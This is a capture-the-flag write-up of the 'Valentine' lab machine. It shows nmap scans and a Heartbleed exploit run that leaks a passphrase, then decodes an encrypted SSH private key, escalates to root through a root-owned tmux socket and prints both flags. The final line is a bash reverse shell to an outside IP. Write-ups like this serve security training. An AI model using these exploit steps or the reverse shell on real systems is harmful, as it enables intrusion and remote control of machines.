

enumeration

```
nmap -sC -sV -sT -oN /home/kali/machines/retired/valentine/namp.txt
10.10.10.79
```

Starting Nmap 7.91 (<https://nmap.org>) at 2021-02-09 09:51 EST

Nmap scan report for 10.10.10.79

Host is up (0.18s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)

| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)

|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)

80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

|_ http-server-header: Apache/2.2.22 (Ubuntu)

|_ http-title: Site doesn't have a title (text/html).

443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))

|_ http-server-header: Apache/2.2.22 (Ubuntu)

|_ http-title: Site doesn't have a title (text/html).

| ssl-cert: Subject: commonName=valentine.htb/-

organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US

| Not valid before: 2018-02-06T00:45:25

|_ Not valid after: 2019-02-06T00:45:25

|_ ssl-date: 2021-02-09T14:55:26+00:00; +3m30s from scanner time.

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_ clock-skew: 3m29s

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 53.78 seconds

doing nmap vuln script

http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

[6/31]| ssl-

ccs-injection:

|

VULNERABLE:

| SSL/TLS MITM vulnerability (CCS)

Injection)

| State:

VULNERABLE

| Risk factor:

High

| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h

| does not properly restrict processing of ChangeCipherSpec messages, which allows man-in-the-middle attackers to trigger use of a zero

| length master key in certain OpenSSL-to-OpenSSL communications, and consequently hijack sessions or obtain sensitive information, via

| a crafted TLS handshake, aka the "CCS Injection" vulnerability.

|

| References:

| <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224>

|

| <http://www.cvedetails.com/cve/2014-0224>

|

| http://www.openssl.org/news/secadv_20140605.txt

|

| ssl-

heartbleed:

|

VULNERABLE:

| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.

| State:

VULNERABLE

| Risk factor: High

| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protec

ted by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.

|

| References:

| <http://cvedetails.com/cve/2014-0160/>

| <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160>

| http://www.openssl.org/news/secadv_20140407.txt

|

```
| ssl-  
poodle:  
|  
VULNERABLE:  
|   SSL POODLE information  
leak  
|   State: VULNERABLE  
|   IDs: BID:70574  
CVE:CVE-2014-3566  
|       The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and  
other  
|       products, uses nondeterministic CBC padding, which makes it  
easier  
|       for man-in-the-middle attackers to obtain cleartext data via  
a  
|       padding-oracle attack, aka the "POODLE" issue.  
|   Disclosure date: 2014-10-14  
|   Check results:  
|       TLS_RSA_WITH_AES_128_CBC_SHA  
|   References:  
|       https://www.imperialviolet.org/2014/10/14/poodle.html  
|       https://www.securityfocus.com/bid/70574  
|       https://www.openssl.org/~bodo/ssl-poodle.pdf  
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
```

we see it is vulnerable to 3 of the attacks

so we see open ports as

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux;
protocol 2.0)

80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))

till now non of these seems vulnerable but ssl leaked domain name

valentine.htb

lets go to the web pages

nothing on port 80 page



lets go to https website

same page on https lets add host name and see

no host based routing so same page after adding host name

lets run nikto gobuster and searchsploit

in searchsploit i found this results for ssl

```
(root@kali)~[/home/kali]
# searchsploit OpenSSH 5.9p1

Exploit Title
-----
OpenSSH 2.3 < 7.7 - Username Enumeration
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)
OpenSSH < 6.6 SFTP (x64) - Command Execution
OpenSSH < 6.6 SFTP - Command Execution
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading
OpenSSH < 7.7 - User Enumeration (2)

Shellcodes: No Results
```

and this for apache version

```
(root@kali)-[/home/kali]
# searchsploit Apache 2.2.22

Exploit Title
-----
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal
Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection
Apache Tomcat < 5.5.17 - Remote Directory Listing
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)
Webroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code Execution

Shellcodes: No Results
```

we confirmed that no other ports are open

lets run gobuster

```
2021/02/09 10:30:26 Starting gobuster
/index (Status: 200)
/dev (Status: 301)
[ERROR] 2021/02/09 10:31:09 [!] Get http://valentine.htb/Health: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:31:40 [!] Get http://valentine.htb/rights: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:31:49 [!] Get http://valentine.htb/INSTALL: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:32:03 [!] Get http://valentine.htb/transport: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:32:05 [!] Get http://valentine.htb/e2: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:33:55 [!] Get http://valentine.htb/pikt: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:35:11 [!] Get http://valentine.htb/40HEX-13: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:35:47 [!] Get http://valentine.htb/greek: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:35:51 [!] Get http://valentine.htb/066: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:35:51 [!] Get http://valentine.htb/malbum03: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:36:34 [!] Get http://valentine.htb/2050: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:36:43 [!] Get http://valentine.htb/5100: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:36:44 [!] Get http://valentine.htb/footer_rs: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:37:47 [!] Get http://valentine.htb/3011: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:38:10 [!] Get http://valentine.htb/ReleaseNotes: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2021/02/09 10:39:48 [!] Get http://valentine.htb/version2: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
Progress: 22635 / 220561 (10.26%)^C
[!] Keyboard interrupt detected, terminating.
```


this are results with /index.php (Status: 200)


```
[ERROR] 2021/02/09 11:04:50 [!] Get http://va
/encode (Status: 200)
/encode.php (Status: 200)
/decode (Status: 200)
/decode.php (Status: 200)
Progress: 25092 / 220561 (11.38%)^C
[!] Keyboard interrupt detected, terminating.

2021/02/09 11:14:54 Finished
```

so lets go to this directories

Index of /dev

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 hype_key	13-Dec-2017 16:48	5.3K	
 notes.txt	05-Feb-2018 16:42	227	

Apache/2.2.22 (Ubuntu) Server at valentine.htb Port 80

/encode

Secure Data Encode

submit

Click [here](#) to use the decoder.

so going to notes

To do:

- 1) Coffee.
- 2) Research.
- 3) Fix decoder/encoder before going live.
- 4) Make sure encoding/decoding is only done client-side.
- 5) Don't use the decoder/encoder until any of this is done.
- 6) Find a better way to take notes.

this messages means that their is a bug in encoder/decoder function and the encoder/decoder are running on server side which mens we can run codes on box

we just have to find it out

in hype key

```

2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 4
46 36 39 42 46 32 30 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 6b 65 67 4e 75 6b 31 44 41 71 6c 41 4
61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 46 48 2b 39 52 4a 44 42 43 35 55 4
6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 50 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58 6
43 71 43 4a 2b 45 61 31 54 38 7a 6c 61 73 36 66 63 6d 68 4d 38 41 2b 38 50 0d 0a 4f 58 42 4b 4e 65 36 6c 31 37 68 4b 61 54 36 77 46 6e 70 3
69 47 64 0d 0a 70 48 4c 4a 70 59 55 49 49 35 50 75 4f 36 78 2b 4c 53 38 6e 31 72 2f 47 57 4d 71 53 4f 45 69 6d 4e 52 44 31 6a 2f 35 39 2f 3
53 6c 35 48 71 39 4f 44 35 48 4a 38 47 30 52 36 4a 49 35 52 76 43 4e 55 51 6a 77 78 30 46 49 54 6a 6a 4d 6a 6e 4c 49 70 78 6a 76 66 71 2b 4
74 35 64 50 6a 41 6b 42 59 52 55 6e 6c 39 31 45 53 43 69 44 34 5a 2b 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 66 5
75 6c 4f 0d 0a 74 39 67 72 53 6f 73 52 54 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 50 4f 5
75 50 4f 6e 4d 58 61 49 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53 53 78 58 37 42 57 64 44 4
35 74 46 73 74 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 0d 0a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 65 47 73 4b 5
62 31 45 0d 0a 41 6d 6f 51 36 6a 67 35 54 62 6a 35 4a 37 71 75 59 58 5a 50 79 6c 42 6c 6a 4e 70 39 47 56 70 69 6e 50 63 33 4b 70 48 74 74 7
2b 62 71 36 35 36 33 35 4f 4a 36 54 71 48 62 41 6c 54 51 31 52 73 39 50 75 6c 72 53 37 4b 34 53 4c 58 37 6e 59 38 39 2f 52 5a 35 6f 53 51 6
63 48 63 31 36 6e 39 56 30 49 62 53 4e 41 4c 6e 6a 54 68 76 45 63 50 6b 79 0d 0a 65 31 42 73 66 53 62 73 66 39 46 67 75 55 5a 6b 67 48 41 6
6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55 58 6b 30 53 69 31 57 30 32 77 62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 5
75 76 34 43 4d 6e 4e 70 64 69 72 56 4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b 46 4c 36 70 71 70 75 5
62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 6b 42 43 46 42 6b 5a 48 57 4e 4e 79 65 4e 37 6
6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 3
76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 5
32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d 57 2f 49 7a 54 0d 0a 52 55 67 5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6
68 44 33 0d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d

```

this type of numbers lets read what notes says

lets try to decode this hype key
its a hex encoded lets decode it

The decoded string:

```

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4, ENCRYPTED
DEK-Info: AES-128-CBC, AEB88C140F69BF2074788DE24AE48D46

DbPr078kegNuk1DAq1AN5jbjXv0PPsog3jdbMFS8iE9p3U0L0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJc0FH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0Sb0YUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmA4AzqcM/kigNRFYUuNiXrXslw/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
0XBKNe6l17hKaT6wFnp5eX0aUIHvHnv06SchVWRrZ70fcpcpimLl1w13Tgdd2AiGd
pHLJpYUII5Pu06x+LS8n1r/GWMqS0EimNRD1j/59/4u3R0rTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSL5Hq90D5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
0l6jLFD2ka0Lfuyee0fYCb7GTq0e7EmMB3fGIwSdW80C8NWTkwpjc0ELblUa6ul0
t9grSosRTCsZd140Pts4bLspKxMM0sgnKloXvnlp0SwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YP0iDuP0nMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BwdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKEeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pk0xArXE2dj7eX+bq656350J6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSqe
2VWRyTZ1FfngJSsv9+Mfvz341lbz0IWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1Bsfsbsf9FguUZkgHAnnfRKKGVG10Vyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpux
cY5YZJGAp+JxsnI9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNnyE7b5GhTVCodHhzhVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxyLCC/wUyUXlMJ50Nw6JNVMM8LeCii30EW
l0ln9L1b/NXpHjGa8WHHTjoilB5qNuyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

```

so here is the results

at last we ran the
nmap --script vuln 10.10.10.79

and we had a vulnerable output
we see it is vulnerable to 3 of the attacks

```
VULNERABLE:  
| SSL/TLS MITM vulnerability (CCS  
Injection)  
| State: VULNERABLE
```

```
ssl-  
heartbleed:  
| VULNERABLE:
```

```
ssl-  
poodle:  
| VULNERABLE:
```

it is vulnerable to those 3 and we are pretty sure it is vulnerable to heartbleed
as the images and name valentine suggests

lets check what is heartbleed vulnerability

we got a python script so we downloaded that

 <https://gist.github.com/eelsivart/10174134>

heartbleed.py

Raw

```
1  #!/usr/bin/python
2
3  # Modified by Travis Lee
4  # Last Updated: 4/21/14
5  # Version 1.16
6  #
7  # -changed output to display text only instead of hexdump and made it easier to read
8  # -added option to specify number of times to connect to server (to get more data)
9  # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc...
10 # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port)
11 # -added option to have verbose output
12 # -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and e
13 # -added option for hex output
14 # -added option to output raw data to a file
15 # -added option to output ascii data to a file
16 # -added option to not display returned data on screen (good if doing many iterations and outputting to a file)
17 # -added tls version auto-detection
18 # -added an extract rsa private key mode (orig code from epixoi. will exit script when found and enables -d (do not display ref
```

```
(root👤kali)-[/home/.../mac
# python heartbleed.py
```

```
(root👤kali)-[/home/.../machines/retired/valentine/10174134]
# python heartbleed.py -n 10 10.10.10.79
```

and we had output this

which looks very weird lets look into it

```
#####
Connecting to: 10.10.10.79:443, 10 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0

WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 10 of 10
#####

.@....SC[ ... r....+ ..H ... 9 ...
....w.3....f ...
... !.9.8.....5.....
.....3.2.....E.D...../ ... A.....I.....
.....
.....#.....0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXB1Cg== ..X..r..&y.$gQ.. "v.s.@....SC[ ... r....+ ..H ... 9 ...
....w.3....f ...
... !.9.8.....5.....
.....3.2.....E.D...../ ... A.....I.....
.....
.....#.....0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXB1Cg==\ ..kqp..6..$.i....@.@....SC[ ... r....+ ..H ... 9 ...
....w.3....f ...
... !.9.8.....5.....
.....3.2.....E.D...../ ... A.....I.....
.....
```

we see a text repeating multiple times lets see it

```
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXB1Cg==U..
....w.3....f ...
```

we have a decrypter in the valentine site lets decrypt it using that

Your input:

aGVhcnRibGVlZGJlbGlldmV0aGVoeXB1Cg==

Your encoded input:

heartbleedbelievethetype

see we have a string lets try to connect with this password with username hype which we figured out

lets ssh but their is a problem we have to pass the RSA key and we had it in wrong format so lets again recreate the file

```
(root👤kali)-[~kali/machines/retired/valentine]
# touch hype_key

(root👤kali)-[~kali/machines/retired/valentine]
# nano hype_key

(root👤kali)-[~kali/machines/retired/valentine]
# chmod 400 hype_key

(root👤kali)-[~kali/machines/retired/valentine]
# ssh -i hype_key hype@10.10.10.79
Enter passphrase for key 'hype_key':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

* Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$
```

so here we creted the hype_key and pasted the rsa key and changed the mod to readonly then only server will accept

and then we did ssh

```
hype@Valentine:~$ whoami
hype
hype@Valentine:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
hype@Valentine:~$
```

we have a nice shell no need to upgrade it

```
hype@Valentine:~/Desktop$ cat user.txt
e6710a5464769fd5fcd216e076961750
hype@Valentine:~/Desktop$
```

so we have the user flag

userflag---e6710a5464769fd5fcd216e076961750

and now lets see how we can enumerate

download and run LinEnum

and we found this

```
root      1002  0.0  0.0  19976   976 tty5      Ss+  07:37   0:00 /sbin/getty -8 38400 tty5
root      1008  0.0  0.0  19976   976 tty2      Ss+  07:37   0:00 /sbin/getty -8 38400 tty2
root      1010  0.0  0.1  26416  1668 ?        Ss   07:37   0:01 /usr/bin/tmux -S /.devs/dev_sess
root      1011  0.0  0.0  19976   976 tty3      Ss+  07:37   0:00 /sbin/getty -8 38400 tty3
root      1014  0.0  0.4  20652  4572 pts/17   Ss+  07:37   0:00 -bash
```

a tmux session is running with root privilege

so we opened that tmux session with
"tmux -S /.devs/dev_sess"

and we have a tmux with root

so we have root now since it is a session with root

lets grab root flag

```
root@Valentine:/# ls
bin  cdrom  devs  home  lib  lost+found  mnt  proc  run  selinux  sys  usr  vmlinuz
boot  dev  etc  initrd.img  lib64  media  opt  root  sbin  srv  tmp  var
root@Valentine:/# cd root/
root@Valentine:~# ls
curl.sh  root.txt
root@Valentine:~# cat root.txt
f1bb6d759df1f272914ebbc9ed7765b2
root@Valentine:~#
```

rootflag---f1bb6d759df1f272914ebbc9ed7765b2

so bix pwned


```
bash -i >& /dev/tcp/10.10.14.5/1234 0>&1
```